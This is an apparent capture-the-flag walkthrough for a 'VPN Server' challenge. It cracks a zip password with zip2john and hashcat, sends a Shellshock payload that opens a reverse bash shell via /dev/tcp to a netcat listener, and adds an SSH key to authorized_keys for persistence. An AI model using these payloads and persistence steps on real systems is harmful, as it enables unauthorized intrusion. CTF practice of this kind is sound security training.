Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

VPN Server

  1. Resume From 🗂 Mail Server

  2. Get OVPN from Mail Server: 🗂 258-s.msg

  3. Decode Zip File from Base64: https://www.freeformatter.com/base64-encoder.html

  4. Install John The Ripper

  5. Generate Hash zip2john 03-vpn.zip > hashes\05-zip_hashes.txt

  6. Edit File (remove file names from hashes): 🗂 Zip Hashes

  7. Run Hashcat

hashcat -m 13600 -a 3 ./hashes/06-zip_hashes.txt "?l?l?l?l?l?l?l"

# to show Results
hashcat -m 13600 -a 3 ./hashes/06-zip_hashes.txt "?l?l?l?l?l?l?l" --show > hashes\07-hashcat.txt
  1. Hashcat Results in 🗂 Hashcat: ehsanit
  2. Extract and Edit: 09-vpn\client.ovpn
...
remote 172.16.4.120 1194
...
  1. Start: nc -l 0.0.0.0 9696
  2. Lets Connect: openvpn 09-vpn\client.ovpn (I use GUI in Video!)
  3. Send Username, Password
() { :;};/bin/bash -i >& /dev/tcp/10.120.0.7/9696 0>&1 &
  1. Read Flag: MAZAPA_e33e4c6c2f2f1df8be066279d18c8e26
  2. Persist Your Connection:
echo <public-key> >> ~/.ssh/authorized_keys
  1. Connect with SSH
ssh -i "<private-key>" vpn_user@vpn.petromaz.ir